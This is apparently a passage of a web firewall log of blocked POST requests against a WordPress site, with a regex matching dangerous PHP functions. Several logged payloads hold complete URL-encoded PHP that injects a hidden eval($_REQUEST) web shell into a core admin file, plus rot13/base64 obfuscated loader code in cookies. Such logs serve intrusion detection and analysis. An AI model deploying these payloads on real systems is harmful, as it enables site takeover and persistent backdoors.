.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524fac%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ptr%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524item%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524item%252C%2520%2524fac%2529%253B%2520fclose%2528%2524item%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522splitter_tool%2522%2529%253B%2520%2524ref%2520%253D%2520%25226338a8fe470fec7ca0c1b6d24aef1d8e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ref%252C%2520%2524ptr%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522request_approved_right_pad_string%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 16:42:14","167.71.226.156","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527jHKCGY%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:2037\nhost:dewenlabels.com\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLxfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nsec-fetch-mode:navigate\n\nbK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527jHKCGY%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:42:25","171.244.34.150","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> TH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527jHKCGY%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIRtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2037\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-site:none\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nupgrade-insecure-requests:1\n\nTH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527jHKCGY%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:42:39","160.187.68.132","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Qu:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527jHKCGY%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHKHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nhost:dewenlabels.com\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2037\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-site:none\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nupgrade-insecure-requests:1\n\nQu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527jHKCGY%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:42:46","91.142.222.105","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ww:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527jHKCGY%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq3pvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nhost:dewenlabels.com\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2037\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-site:none\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nupgrade-insecure-requests:1\n\nww=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527jHKCGY%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:42:54","185.176.9.68","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kJ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527jHKCGY%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn0bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2037\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-site:none\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nupgrade-insecure-requests:1\n\nkJ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527jHKCGY%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%2